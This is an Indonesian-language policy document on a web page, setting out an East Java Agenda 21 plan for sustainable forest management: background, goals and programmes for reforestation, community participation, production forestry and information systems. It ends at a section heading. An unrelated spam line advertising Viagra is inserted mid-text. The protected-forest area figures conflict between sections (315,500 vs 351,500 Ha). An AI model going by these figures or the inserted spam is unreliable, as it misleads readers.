Home > Uncategorized > Pengelolaan Potensi Hutan Secara Lestari

Pengelolaan Potensi Hutan Secara Lestari

OLYMPUS DIGITAL CAMERA

PENGELOLAAN POTENSI HUTAN SECARA LESTARI

                                     

                       

Intisari

 

Hutan merupakan potensi alam sebagai salah satu “common property resources” yang sangat berharga, mengingat beragam fungsi yang sangat vital bagi keberlanjutan kehidupan lokal, nasional maupun global. Kawasan hutan di Jawa Timur mencapai sekitar 28.22 % dari luas daratan , yaitu sekitar 1. 30 juta Ha, digolongkan  menjadi kawasan hutan produksi 802.768 Ha, kawasan hutan lindung 315. 500 Ha dan kawasan hutan konservasi  230.153 Ha (NKLHD,1998). Penekanan pertumbuhan ekonomi selama PJP I,  telah memacu pula semakin meningkatnya tekanan terhadap cadangan potensi hutan termasuk di Jawa Timur Sedangkan keadaan kawasan  hutan bakau di Jawa Timur diperkirakan tinggal 10 %.

 

Penyusutan luas hutan dapat terjadi karena kebakaran hutan, penebangan yang tidak terencana secara cermat atau disebabkan karena pencurian serta alih fungsi. Khususnya penyusutan luas hutan karena pencurian melalui penebangan liar. Hal tersebut menunjukkan indikasi bahwa secara umum  masih terdapat kesenjangan kesejahteraan masyarakat sekitar kawasan hutan.

 

Telah terjadi  perubahan paradigma pengelolalaan hutan yaitu: menuju pegelolaan hutan secara berkelanjutan yang mana selama ini menempatkan pengelolaan hutan sebatas “forest timber management”  menjadi “forest resource and total ecosystem management”  sehingga hutan diharapkan dapat berfungsi sebagai ekologis, sosial budaya dan produksi/ekonomi secara terpadu.

 

Dalam rangka menuju pengelolaan hutan secara berkelanjutan di Jawa Timur maka perlu dipilih strategi untuk meningkatkan ketiga fungsi tersebut. Untuk meningkatkan fungsi ekologi hutan maka upaya yang dilakukan dititik beratkan pada kawasan daratan  yang memiliki kelerengan lebih 45 % dan peka terhadap erosi. Sedangkan  di kawasan perairan dalam hal ini adalah kawasan hutan mangrove maka dititik beratkan pada kawasan yang memiliki abrasi laut yang pada tingkat yang membahayakan serta pada kawasan muara sungai. Fungsi sosial budaya diupayakan untuk semakin melibatkan peran serta masyarakat, terutama masyarakat sekitar kawasan hutan . Disamping itu sebagai fungsi ekonomi diupayakan berfungsi sebagai penyangga keberlanjutan sistem produksi, konservasi dan pendaya manfaatan kekayaan yang terkandung di dalamnya serta untuk berbagai penggunaan secara terpadu.

 

Untuk mencapai upaya di atas maka di Jawa Timur diperlukan beberapa kegiatan yang meli puti penghutanan kembali, mempertahankan dan meningkatkan dukungan masyarakat lokal secara melembaga, menetapkan peraturan dan pelaksanaan hukum   yang mendukung pengelolaan hutan secara lebih bertanggung jawab,  pengelolaan  produksi hutan secara berkelanjutan,serta dukungan sistem informasi dan pendataan  yang akurat, komunikatif serta sederhana sehingga pengelolaan potensi hutan secara berkelanjutan di Jawa Timur dapat diujud nyatakan.

 

 

 

 

Untuk mewujud-nyatakan harapan tersebut maka disusun prioritas program sebagai berikut:

A.  Evaluasi, Perencanaan dan Pengembangan Program Rehabilitasi dan Reboisasi serta Perlindungan Hutan Secara Berkelanjutan.

B. Pemantapan dan Pembuatan: Peraturan, Kelembagaan Pengelolaan Hutan Secara Berkelanjutan  Berbasis Partisipasi dan Kearifan Masyarakat Lokal.

C. Pengelolaan  Hutan Produksi Secara Berkelanjutan

D.  Penyusunan Sistem Informasi dan Pendataan Pengelolaan Potensi Hutan Secara Berkelanjutan.

 

 

1. Dasar Pemikiran

1.1. Latar Belakang

H

utan merupakan karunia Allah yang sangat berharga bagi hidup dan kehidupan di muka bumi ini. Hutan memiliki fungsi ganda baik yang bersifat ekologis, sosial, ekonomi maupun budaya. Untuk itu di dalam mengelola potensi hutan harus memperhatikan sinergi rajutan komponen-komponen baik yang berada di dalam kawasan hutan maupun yang berada di luar kawasan hutan.

           

Rencana dan program kegiatan pembangunan hutan  mulai mengalami pergeseran paradigma serta penyesuaian dalam hal kebijakan. Kebijakan yang semula dititik-beratkan pada pertumbuhan ekonomi yang cenderung ke arah eksploitatif, kini  diarahkan pada 1) pelestarian fungsi-fungsi lingkungan hidup, 2) keuntungan ekonomi bergeser menjadi mengutamakan keuntungan sosial, 3) kelestarian produksi bergeser menjadi kelestarian lingkungan hidup, dan 4) produksi kayu bergeser menjadi mengutamakan produksi non kayu (KMNLH, 1996).

 

Luas kawasan hutan di Jawa Timur   mencapai 28.22 % (1.30 juta Ha). Luas kawasan hutan tersebut meliputi: 802.768 Ha  hutan produksi, 351 .500 Ha  hutan lindung, 230. 153 Ha  hutan konservasi (NKLHD, 1998). Luas kawasan hutan di Jawa Timur mengalami sedikit penurunan dibandingkan pada tahun 1993, yaitu sebesar 1.36 juta  Ha (NKLHD, 1993).  Sedangkan luas hutan bakau di Jawa Timur diperkirakan hanya tinggal 10 %.

           

Pada umumnya penyusutan luas kawasan hutan produksi dapat diakibatkan karena pengelolaannya yang masih belum sepenuhnya memperhatikan pengelolaan hutan secara  berkelanjutan, sedangkan penyusutan luas hutan lindung dan hutan  konservasi karena maraknya pencurian dan penebangan liar terutama selama periode reformasi. Besarnya penyusutan hutan bakau  lebih diakibatkan oleh alih fungsi menjadi tambak dan penebangan  Fenomena ini tampaknya terjadi di Jawa Timur. Di lain fihak , mulai ada gejala semakin meningkatnya masyarakat pendaya-manfaatan potensi yang ada di dalam laut khususnya kawasan terumbu karang. Hal ini perlu dicermati untuk mendapat perlakuan perlindungan Untuk ini upaya rehabilitasi, reboisasi dan perlindungan hutan mendesak untuk dilakukan.         

 

Seiring dengan menjelang digulirnya tata aturan globalisasi maka kehutanan juga mendapat suatu tantangan terutama di dalam menuju ke era ekolabelling untuk ini persyaratan untuk menghasilkan produk barang hijau berbahan dasar dari kawasan hutan perlu mendapat perhatian.

 

Untuk menuju pengelolaan hutan berdasarkan forest resource and total ecosystem management ( hutan dipandang sebagai kesatuan yang utuh dan integral dari suatu ekosistem), maka diperlukan pula tata aturan yang mengatur, baik yang bersifat pemantapan aturan yang sudah ada maupun pembuatan yang baru. Demikian pula halnya dengan kelembagaan terutama kelembagaan yang mendorong peran aktif masyarakat lokal agar manfaat produksi/ekonomi, ekologi dan sosial budaya dapat dirasakan keadilannya baik oleh masyarakat maupun negara dan yang tidak kalah pentingnya adalah tersedia informasi data yang akurat, komunikatif, dan transparan. Informasi ini baik yang menyangkut potensi hutan: biofisik, ekonomi dan sosial budaya maupun informasi yang menyangkut kebijakan lokal, nasional maupun global.

 

1.2.  Rencana Strategi         

 

Agenda 21 dalam bidang kehutanan adalah program aksi untuk mempersiapkan dunia dalam menghadapi tantangan abad 21 agar kualitas hidup manusia terus meningkat dan pembangunan  tetap berlanjut. Untuk itu maka  di dalam menyusun  rencana strategi bidang kehutanan maka perlu menimba pengalaman tentang permasalahan yang dihadapi sehingga potensi hutan dapat  dikelola secara berkelanjutan,

 


Buy cheap Viagra online

Di masa yang akan datang ekspor komoditi yang berasal dari kawasan hutan, terutama kayu  (khususnya di Jawa Timur adalah kayu jati)  harus memperhatikan standard yang ditetapkan di dalam ekolabel . Oleh karena itu jika hal ini tidak diperhatikan dapat mengakibatkan kerugian yang cukup besar karena produknya akan ditolak.

           

Dasar kosultasi untuk  alokasi dan penggunaan potensi alam nasional tertuang di dalam pasal 33 ayat 3 UUD 1945, yang diharapkan menjiwai setiap peraturan dan kebijakan alokasi dan penggunaan potensi alam, termasuk hutan. Pasal 33 ayat 3 UUD 1945 mengamanatkan bahwa bumi dan air serta kekayaan alam yang terkandung di dalamnya dikuasai  oleh negara dan dipergunakan untuk sebesar-besarnya kemakmuran rakyat. Dengan kata lain siapa saja yang terlibat di dalam pengelolaan potensi alam termasuk hutan ini manusianya harus bertanggung jawab.

           

Sejalan dengan era reformasi, termasuk pula di dalam strategi pembangunan kehutanan juga mengalami reformasi paradigma, yang semula pembangunan kehutanan atas dasar  hanya mementingkan produk kayu semata (“forest timber managemen”), berubah menjadi paradigma baru yaitu strategi balik arah (“turn over strategy”) yang meletakkan posisi potensi hutan sebagai amanah Allah dan potensi hutan sebagai ekosistem (Fattah,1999).  Nasution (1999) menjelaskan bahwa paradigma pembangunan kehutanan era reformasi adalah pembangunan kehutanan yang dibangun atas dasar sistem etika pembangunan yang menjamin keberlanjutan  sistem dan fungsi potensi hutan, menghargai keterkaitan dan saling ketergantungan antara potensi hutan, rakyat, dan komunitas yang melingkupinya,  bersifat inklusif agar keragaman sistem potensi  hutan tetap dapat dipertahankan,  bersifat integratif dan partisipatif, serta berani menyuarakan kebenaran sistem nilai yang telah disepakati oleh para pendiri negara sebagaimana tertuang di dalam Pembukaan dan pasal 33 UUD 1945.

 

Selanjutnya dikemukakan bahwa berdasarkan etika dan nilai tersebut diatas, terdapat lima tujuan kebijakan pembangunan kehutanan, yaitu:

1. Meningkatkan efisiensi alokasi dan penggunaan potensi hutan

2. Menjamin distribusi manfa’at alokasi dan penggunaan potensi hutan secara berkeadilan

3. Meningkatkan pemberdayaan dan kapasitas sosial dan ekonomi masyarakat

4. Mewujudkan kemampuan nasional dalam mengembangakan barang dan jasa kehutanan yang tidak saja kompetitif di tingkat korbanan potensi yang dilakukan

5. Menjamin keberlangsungan sistem potensi hutan

 

Jika berbagai kebijakan pembangunan kehutanan yang telah ada ternyata belum mampu mencermikan berbagai tujuan tersebut maka kebijakan-kebijakan yang ada tersebut perlu disempurnakan sesuai dengan visi dan misi serta tujuan pengelolaan hutan secara berkelanjutan.

 

Berdasarkan uraian-uraian diatas maka perlu dirumuskan pengelolaan hutan dengan menyeimbangkan tiga fungsi hutan, yaitu fungsi  ekologi, sosial-budaya dan ekonomi dengan tetap berpegang teguh inti dasar pengelolaan hutan, yaitu kelestarian yang bermanfa’at dan kemanfa’atan yang lestari dengan prinsip dasar ”Progressive Sustained Yield Principle” (Fattah, 1999), dan menggeser dari  pandangan Forest for People menjadi Forest Within People. 

 

Langkah-langkah menuju keseimbangan tersebut harus dipegang oleh para stakeholder yang arif bijaksana serta bertanggung jawab.  

                                                                       

1.2.1. Visi

Pengelolaan potensi hutan untuk mensejahterakan masyarakat dengan tetap menempatkan fungsi social budaya, ekologi, dan ekonomi dalam proporsi yang seimbang.             

 

1.2.2. Misi

 

5      Merealisasikan pembangunan hutan berbasis pada peran serta kearifan komunitas masyarakat  (“community based forest development”)

6      Orientasi pada berbagai peran hasil hutan ( “multi purpose timber orientation”)

7      Meningkatkan  peran hutan selaku area keseimbangan ekosistem

 

1.2.3. Tujuan

Berdasarkan paparan permasalahan dan arahan strategis maka Program  Pengelolaan Hutan di Jawa Timur dalam rangka Agenda 21 ini adalah sebagai berikut:

1. Mengoptimalkan  kawasan yang seharusnya dihutankan

2.  Meningkatkan peran serta kearifan masyarakat lokal yang berpartisipasi aktif dalam kelembagaan untuk mendukung pengelolaan hutan secara berkelanjutan                  

3. Memantapkan dan menyusun konsep aturan untuk menyeimbangkan ketiga fungsi hutan dan perolehan dari kawasan hutan antara untuk negara dan kesejahteraan  masyarakat, terutama masyarakat sekitar kawasan hutan           

4. Memantapkan pengelolaan hutan produksi secara berkelanjutan

5.  Memudahkan para fihak yang terkait untuk memperoleh informasi yang komunikatif, sederhana dan komprehensif untuk mendukung pengelolaan hutan secara berkelanjutan

 

2. Program-Program

Untuk mengujud-nyatakan tujuan tersebut maka disusun  prioritas aksi  tindak dalam pembangunan kehutanan di Jawa Timur  yang meliputi beberapa bidang program sebagai berikut:       

A.Evaluasi, Perencanaan dan Pengembangan Program Rehabilitasi dan Reboisasi serta Perlindungan Hutan Secara Berkelanjutan.

B.Pemantapan  dan Pembuatan: Peraturan,  Kelembagaan Pengelolaan Hutan Secara Berkelanjutan Berbasis Partisipasi dan Kearifan Masyarakat Lokal.

C. Pengelolaan  Hutan Produksi   Secara Berkelanjutan

D.Penyusunan Sistem Informasi dan Pendataan Pengelolaan Potensi Hutan Secara Berkelanjutan.

 

Hal-hal yang berkaitan dengan aturan dan perundang-undangan tentang pengelolaan hutan dibahas pada Bab  Pengelolaan Sumberdaya Alam dan Lingkungan Hidup: Perspektif Hukum Lingkungan dan Kebijakan.                     

 

 

                       

2.1. Bidang Progam A

EVALUASI DAN PERENCANAAN DAN PENGEMBANGAN PROGRAM REHABILITASI DAN REBOISASI  SERTA  PERLINDUNGAN HUTAN SECARA BERKELANJUTAN

 

2.1.1. Dasar Pertimbangan

Di Jawa Timur terdapat gejala adanya  gangguan  fungsi hutan secara ekologis terutama di daerah hulu yang mengakibatkan munculnya bahaya banjir, antara lain Banyuwangi dan Malang, khususnya Malang Selatan, laju erosi atau degradasi lahan  meningkat, air sungai makin keruh dan mendangkalnya sungai serta waduk sehingga akhirnya dapat menganggu penyediaan air  dan bahkan kekeringan. Permasalahan ini dapat diatasi dengan kegiatan rehabilitasi (di luar kawasan hutan), reboisasi ( di dalam kawasan hutan) dan upaya perlindungan hutan, Di lain fihak telah tampak adanya pemanfaatan potensi hutan yang berada di daerah laut, misalnya terumbu karang yang semakin meningkat, demikian pula halnya telah terjadi alih fungsi hutan mangrove menjadi industri tambak di Jawa Timur sehingga menimbulkan meningkatnya abrasi air laut dan gangguan kekayaan keanekaragaman hayatinya. 

 

Fakta menunjukkan bahwa di Jawa Timur telah dilakukan upaya untuk rehabilitasi dan reboisasi dan perlindungan hutan. Di dalam pelaksanaannya ada yang berhasil dan ada pula yang masih perlu disempurnakan maka untuk mewujudkan pengelolaan hutan secara berkelanjutan maka perlu dikaji  hasil pelaksanaan  tersebut. Evaluasi  ini penting agar menjadi bahan pertimbangan dalam penyusunan perencanaan kegiatan selanjutnya, yang berhasil dipertahankan dan yang belum perlu disempurnakan. Penyempurnaan yang dilakukan perlu memperhatikan keseimbangan  fungsi hutan baik fungsi ekologi, sosial budaya maupun ekonomi.   Untuk merealisasikannya perlu adanya peran serta masyarakat lokal terutama yang menyangkut ketiga kegiatan (rehabilitasi, reboisasi, dan perlindungan hutan)  beserta perangkat teknis yang mendukung pengelolaan hutan secara berkelanjutan.

 

2.1.2. Tujuan Program

1.  Meningkatkan sumbangan fungsi hutan secara ekologi, ekonomi dan sosial-budaya  dengan cara memantau adanya regenerasi alami pada daerah yang mengalami  degradasi melalui kegiatan rehabilitasi, reboisasi dan perlindungan hutan.

2. Menginvetarisasi  dan mengkaji serta menyusun konsep ketiga kegiatan tersebut untuk digunakan sebagai bahan pertimbangan penyusunan rencana dan pengembangan ketiga kegiatan di masa mendatang

3. Meningkatkan kemampuan pengelola dalam bidang teknis dalam rangka rehabilitasi dan reboisasi serta perlindungan hutan secara berkelanjutan.               

4.  Meningkatkan potensi manusia untuk melaksanakan rehabilitasi dan reboisasi serta perlindungan hutan secara  berkelanjutan

5.  Mendorong pemanfa’atan hutan yang efisien dan berkelanjutan dengan lebih menitik beratkan produksi dan jasa hasil hutan non kayu

6. Meningkatkan peran serta masyarakat lokal di dalam program rehabilitasi dan reboisasi serta perlindungan hutan dengan memperoleh kontribusi perolehan secara adil

 

2.1.3. Rencana Strategis

Berpijak pada potensi, permasalahan, dan tantangan di masa depan maka rencana strategis pada Bidang Program Evaluasi, Perencanaan dan Pengembangan Program Rehabilitasi dan Reboisasi dan Perlindungan Hutan adalah sebagai berikut:          

1.  Melakukan  evaluasi dan pengembangan baik dari aspek perencanaan pelaksaaan maupun teknis untuk reboisasi, rehabilitasi dan perlindungan hutan termasuk pengembangan IPTEK hasil hutan non kayu.

2. Optimalisasi kawasan yang dihutankan.

3. Meningkatkan peran aktif masyarakat lokal di dalam pelaksanaan rehabilitasi dan reboisasi serta perlindungan hutan agar fungsi hutan lebih optimal 

4.  Mengembangkan model-model, seperti pemberdayaan masyarakat dalam pengamanan hutan dan vegetasi lingkungan sekitar untuk mengembangkan alternatif produksi kayu rakyat dan menghilangkan faktor penyebab menurunnya luasan hutan produksi maupun hutan lindung dan konservasi yang ada saat ini.

 

2.1.4. Tahapan Kegiatan  

Tahun 2002 – 2010    

1. Mengidentifikasi permasalahan yang dihadapi dalam pelaksanaan rehabilitasi dan reboisasi , perlindungan hutan serta merumuskan cara penyelesaian yang sesuai  dengan profil existing condition  di masing-masing kabupaten yang relevan di Jawa Timur

2. Mengembangkan sistem: informasi tentang kawasan yang perlu di rehabilitasi dan reboisasi, serta perlindungan hutan

3. Mengembangkan dan mensosialisasikan informasi cara dan hasil pemantauan, pengawasan dan penegakan aturan bagi pelaksana yang terlibat di dalam ketiga kegiatan itu dalam rangka menunjang pengelolaan hutan secara berkelanjutan

4. Mengembangkan program-program rintisan yang bersifat partisipatif dengan melibatkan masyarakat lokal yang menunjang tiga kegiatan tersebut , misalnya: Program Pemberdayaan Masyarakat Desa  Hutan (PMDH), Pengembangan       Masyarakat Kawasan Hutan (PMKH), Koperasi Perhutani, Kawasan Usaha Kecil dan Menengah Masyarakat sekitar Hutan

5. Merumuskan pemilihan koditi yang akan dikembangkan dan mengembangkan teknik-teknik tanam kembali dengan teknik budidaya yang tepat guna dengan memperhatikan ketiga fungsi hutan

6.  Memantapkan potensi manusia pada kelompok inti yang terlibat di dalam program  rehabilitasi  dan reboisasi  serta perlindungan hutan  melalui kelembagaan formal maupun non formal yang          sudah terbentuk di desa , melalui pelatihan interaktif dan komprehensif

7.  Merumuskan dengan melibatkan peran serta wanita tentang draft pengelolaan  rehabilitasi dan reboisasi serta perlindungan hutan yang menunjang  pembangunan secara berkelanjutan di Jawa Timur

8.  Mengkaji proses perencanaan serta manajemen konservasi hutan dan merumuskan jalan keluar jika ditemui permasalahan

9.  Melakukan kegiatan rehabilitasi, reboisasi, dan perlindungan hutan secara seimbang di berbagai ekosistem                      

 

 

 

 

Tahun 2011-2020

1. Mengevaluasi pelaksanaan rehabilitasi dan reboisasi , perlindungan hutan

2. Mengevaluasi cara dan hasil pemantauan, pengawasan dan penegakan aturan bagi pelaksana yang terlibat di dalam ketiga kegiatan itu dalam rangka menunjang pengelolaan hutan secara berkelanjutan

3. Mengevaluasi program-program rintisan yang bersifat partisipatif dengan melibatkan masyarakat lokal yang menunjang tiga kegiatan tersebut , misalnya: Program Pemberdayaan Masyarakat Desa  Hutan (PMDH), Pengembangan       Masyarakat Kawasan Hutan (PMKH), Koperasi Perhutani, Kawasan Usaha Kecil dan Menengah Masyarakat sekitar Hutan

4. Mengevaluasi: respon pasar terhadap komoditi yang telah dikembangkan dan teknik-teknik tanam kembali dengan teknik budidaya yang tepat guna

5.  Mengevaluasi peningkatan  potensi manusia pada kelompok inti yang terlibat di dalam program  rehabilitasi  dan reboisasi dan perlindungan hutan melalui kelembagaan formal maupun non formal yang          sudah terbentuk di desa

6.  Mengevaluasi hasil peran serta wanita dalam  perencanaan pengelolaan  rehabilitasi dan reboisasi serta perlindungan hutan

7.  Mengevaluasi manajemen rehabilitasi, reboisasi, dan perlindungan hutan yang menuju keseimbangan ketiga fungsi hutan secara seimbang di berbagai ekosistem                              

 

                       

           

 

2.2. Bidang Program B

 

PEMANTAPAN DAN PEMBUTAN: PERATURAN, KELEMBAGAAN PENGELOLAAN HUTAN SECARA BERKELANJUTAN BERBASIS PARTISIPASI DAN KEARIFAN MASYARAKAT LOKAL

           

2.2.1. Dasar Pertimbangan

 

Konflik antara kawasan lindung dengan masyarakat setempat seringkali muncul. Pada masa lalu cagar alam dan taman nasional ditetapkan dengan menghilangkan akses masyarakat setempat terhadap hutan. Hal ini menyebabkan terjadinya perambahan yang mengarah pada kerusakan hutan. Undang-undang Konservasi Sumberdaya Alam  dan Ekosistem tahun 1990 berisikan upaya untuk mengatasi hal ini melalui penetapan daerah penyangga di kawasan lindung sehinga pemungutan hasil hutan dapat pula dilakukan oleh masyarakat. Daerah penyangga dapat dimanfa’atkanuntuk tujuan produksi oleh masyarakat  melalui kegiatan perkebunan atau pertanian, misalnya dengan sistem agroforestry, wanawisata untuk mencegah terjadinya gangguan di kawasan lindung. Anggapan umum bahwa koservasi merupakan penghalang  pembangunan dan pertumbuhan ekonomi serta pemerataan kesejahteraan masyarakat setempat perlu dirubah secara perlahan-lahan  sejalan dengan pemanfaatan keaneka ragaman hayati, misal: untuk obat-obatan, minyak atsiri, pewarna,damar, tegakan benih, tanaman hias, arboretum dan  lebah madu, penakaran satwa liar serta  wanawisata. Peran serta masyarakat lokal dapat pula dilaksanakan pada kawasan hutan produksi, dengan sistem pembagian pendapatan yang adil.          

 

Salah satu hal penting yang mendukung pengelolaan hutan secara berkelanjutan adalah  mantapnya aturan  dan mantapnya kelembagaan berbasis partisipasi dan kearifan masyarakat lokal mengingat aspek sosial budaya menjadi faktor yang harus diperhatikan.

Mantapnya aturan antara lain ditandai dengan adanya kejelasan tentang aturan yang tersedia (tidak ada tumpang tindih aturan), dan mendukung keadilan perolehan bagi fihak-fihak yang terlibat dalam kegiatan pengelolaan hutan secara berkelanjutan. Mantapnya kelembagaan antara lain ditandai dengan semakin kompaknya (persamaan persepsi dan meningkatnya kesadaran) komunitas pengelola di dalam mengujudkan pengelolaan hutan secara berkelanjutan

 

2.2.2. Tujuan Program

1.  Menghargai dan mempertahankan nilai ekologis, budaya dan ekonomis hutan untuk kehidupan masyarakat di dan sekitar hutan

2.  Melaksanakan peran serta masyarakat  secara penuh dan murni secara melembaga dalam memanfaatkan potensi hutan termasuk pembagian keuntungan yang seimbang

3.  Meningkatkan ketrampilan dan organisasi kelembagaan masyarakat yang tinggal di hutan dalam pengelolaan dan rehabilitasi hutan, perlindungan hutan, keaneka ragaman Hayati dan pemasaran produk, serta memantapkan aturan  dan budaya.

8      Menggalakkan kepedulian masyarakat akan fungsi dari kawasan pengangga (buffer zone)

9      Penataan tata ruang kawasan hutan sesuai dengan peruntukkannya (lindung, produksi kayu produksi non kayu, dan Konservasi)

                                   

2.2.3. Rencana Strategis

1. Meningkatkan peran masyarakat agar sadar tentang hutan pentingnya fungsi hutan kemasyarakatan

2.  Mempertahankan dan meningkatkan peran serta masyarakat   sekitar kawasan hutan dalam memanfaatkan hutan sesuai dengan prinsip pengelolaan hutan secara berkelanjutan. 

3.  Memulihkan dan mempertahankan fungsi sosial budaya hutan yang bertanggung jawab dan melembaga

4. Menetapkan kawasan penyangga.

5. Meningkatkan daya-manfaat hasil keaneka-ragaman hayati       

 

2.2.4. Tahapan Kegiatan

Tahun 2002 -2010

1.  Mengadakan pemetaan dan inventarisasi secara sistimatik terhadap kawasan hutan yang memungkinkan adanya peran serta masyarakat untuk mengelolanya

2. Menginformasikan hasil pemetaan secara tranparan, misal : area kawasan penyangga yang dapatnya masyarakat berperan serta

3. Mensosialisaikan teknik budidaya campuran dengan mendaya mafaatkan tegakan yang telah ada.

4. Mengenalkan teknik-teknik pengolahan hasil hutan skala mikro

5. Membangun kemitraan antara masyarakat dengan fihak pemerintah dan pengusaha

6.  Meninjau peraturan dan program kehutanan  yang ada, khususnya yang berhubungan dengan peran serta masyarakat di dalam hutan untuk tujuan mempersiapkan dasar bagi status hukum untuk hak dan sistem masyarakat atas sumberdaya

7. Memasukkan di dalam kurikulum tentang pengelolaan hutan secara berkelanjutan dengan teknik penyampaian sesuai dengan daya tangkap anak didik

8. Mendidik masyarakat tentang hak dan kewajiban mereka terhadap pengelolaan hutan yang berkelanjutan

9. Mengadakan kampanye publik dengan melibatkan peran wanita tentang pentingnya menghargai hak dan gaya hidup tradisional dalam pengelolaan hutan secara berkelanjutan

10.Pengembangan diversifikasi hasil hutan yang tetap menjaga keseimbangan ketiga fungsi hutan

                                                           

Tahun 2011 – 2020

1.  Menentukan batas yang memadai bagi hutan masyarakat dan melegalisasikan hak masyarakat atas penggunaan hutan di kawasan yang relevan

2.  Memantapkan jaring komunikasi yang melembaga di antara masyarakat dengan stakeholder yang relevan

3.  Membantu masyarakat di dalam mendokumentasikan pengelolaan potensi alam secara tradisional yang berkelanjutan dan menghidupkan kembali serta mengadopsi lembaga-lembaga sosial yang mendukung pengelolaan SDA yang berkelanjutan

4.  Memberikan status yang layak bagi pengelolaan SDA berkelanjutan secara tradisional sehingga dapat mempertahankan identitas budaya masyarakat dan juga lembaga-lembaga sosial dapat tetap hidup

 

 

 

2.3. Bidang Program C

PENGELOLAAN  HUTAN PRODUKSI  SECARA BERKELANJUTAN

 

2.3.1. Dasar Pertimbangan

Kerusakan hutan di wilayah Jawa Timur khususnya hutan produksi sudah pada tahap yang memprihatinkan. Keadaan ini diperkirakan akan semakin meluas pada Tahun mendatang, jika tidak dilakukan perencanaan penebangan secara arif-bijak, menyeluruh dan terpadu oleh berbagai fihak terkait . Kayu yang dikelola berasal dari hutan jati dan beberapa jenis kayu yang lain, misalnya: senggon. Potensi hutan di Jawa Timur diharapkan sudah mulai dikelola secara terpadu berkelanjutan. Hal ini penting dalam rangka memasuki pangsa pasar di era globalisasi adalah “barang hijau”. Barang hijau ini dihasilkan dari pengelolaan hutan secara berkelanjutan, yang telah dievaluasi mutu  tingkat keberlanjutannya. 

           

2.3.2. Tujuan Program

1.  Mendorong pengelolaan hutan yang efisien, terpadu, dan berkelanjutan, mencakup kayu dan non kayu berdasarkan daya dukung potensi dan melalui pengembangan indutri hutan skala rakyat kecil menengah yang hemat bahan dasar

2.  Meningkatkan peran  pemerintah dan masyarakat serta lembaga swadaya masyarakat dalam menetapkan pemanfaatan hasil hutan yang berkelanjutan dan hemat melalui perangkat  ekonomi dan hukum 

3. Mengembangkan kemitraan antara pengusaha, masyarakat dan pemerintah    dalam menjamin produksi hutan yang berkelanjutan berdasarkan tanggung jawab serta pembagian keuntungan yang adil dan ketepatan sosial dan ekologi 

 

 

 

 

 

 

2.3.3. Rencana Strategis

1.  Menggeser pola pandang  para stakeholder yang terlibat di dalam mengelola hutan yang semula fokus pada orientasi ekonomi menjadi  hutan dipandang sebagai kesatuan yang utuh dan integral dari suatu ekosistem

2.  Meningkatkan kemampuan para pengelola untuk mengelola hutan secara berkelanjutan                                        

2.3.4. Tahapan Kegiatan

Tahun 2002 – 2010

1.   Menyelaraskan pemahaman, kriteria dan indikator mengenai pengelolaan hutan produksi secara  berkelanjutan terutama diantara Pemerintah, Lembaga Ekolabel Indonesia (LEI), LSM dan wakil-wakil masyarakat.

2.   Mempromosikan konsep pengelolaan hutan yang seimbang baik sebagai sumber  kesejahteraan masyarakat, lokal dan luar, maupun sebagai sumber devisa

3.   Mengenalkan diversifikasi hasil hutan non-kayu berdasarkan: pemanfaatan berkelanjutan dan penelitian mengenai pengolahan serta daya dukung pasarnya, pengetahuan tradisionalnya dalam pemanfaatan dan konservasi setiap spesies plama nutfah.

4.   Mengenalkan indikator produk-produk yang berekolabel kepada konsumen

5.   Menginventarisir dan mensosialisasikan teknologi pengolahan hasil hutan yang efektif dan efisien antara lain teknologi hemat bahan dasar, teknik daur ulang khususnya untuk pulp dan kertas serta mebel.

6.   Pelatihan para pelaksana tentang pengelolaan hutan secara berkelanjutan, metode pemasaran hasil-hasil hutan berekolabel

7.   Mempromosikan mengurangi konsumsi hasil hutan dan mengajak konsumen untuk membeli produk-produk ekolabel    

8.   Pelaksanaan  sanksi yang tegas bagi pelanggaran praktek pengelolaan hutan produksi secara berkelanjutan dan memberikan insentif bagi yang mematuhi guna  meningkatkan tanggung sektor bisnis, masyarakat, dan pemerintah

9.   Pengembangan diversifikasi hasil hutan yang tetap menjaga keseimbangan fungsi hutan secara ekologi, ekonomi, dan sosial budaya

10.Menerapkan ekolabel untuk pemasaran seluruh hasil hutan baik dalam bentuk kayu maupun non kayu yang efektif dan efisien pada tahun 2005

11.Pengembagan diversifikasi hasil hutan yang tetap menjaga keseimbangan ketiga fungsi    hutan

12.Membuat Rencana Karya Lima Tahun (RKL) dan Rencana Kerja Tahunan (RKT) sesuai dengan kaidah-kaiodah pengelolaan hutan secara berkelanjutan

 

Tahun 2011 – 2020

1.   Mengevaluasi munculnya kesadaran masyarakat terutama yang terlibat di dalam pengelolaan hutan secara berkelanjutan.

2.   Mengevaluasi peran ekologi, ekonomi hutan baik untuk kesejahteraan masyarakat maupun devisa negara serta sosial budaya secara seimbang

3.   Memantau dan mengembangkan diversifikasi hasil hutan secara optimal

4.   Memantau kesadaran konsumen tentang ekolabel

5      Mengevaluasi pelaksanaan  teknologi pengolahan hasil hutan

6      Mengevaluasi hasil pelaksanaan pelatihan tentang pengelolaan hutan secara berkelanjutan., metode pemasaran hasil-hasil hutan berekolabel

7.   Mengevaluasi pengurangan konsumsi hasil hutan dan kesadaran konsumen terhadap produk-produk ekolabel     

8.   Mengevaluasi pelaksanaan  sanksi yang tegas bagi pelanggaran praktek pengelolaan hutan produksi secara berkelanjutan dan memberikan insentif bagi yang mematuhi guna  meningkatkan tanggung sektor bisnis, masyarakat, dan pemerintah

9.   Memantau pengembangan diversifikasi hasil hutan yang tetap menjaga keseimbangan fungsi hutan secara ekologi, ekonomi, dan sosial budaya

10.Mengevaluasi pelaksanaan ekolabel untuk pemasaran seluruh hasil hutan baik dalam bentuk kayu maupun non kayu yang efektif dan efisien

11.Memantau dan mengevaluasi pelaksanaan RKL dan RKT yang sesuai dengan indicator pengelolaan hutan secara berkelanjutan.

 

 

 

2.4. Bidang Program D

SISTEM INFORMASI DAN PENDATAAN PENGELOLAAN POTENSI HUTAN SECARA  BERKELANJUTAN

 

2.4.1. Dasar Pertimbangan

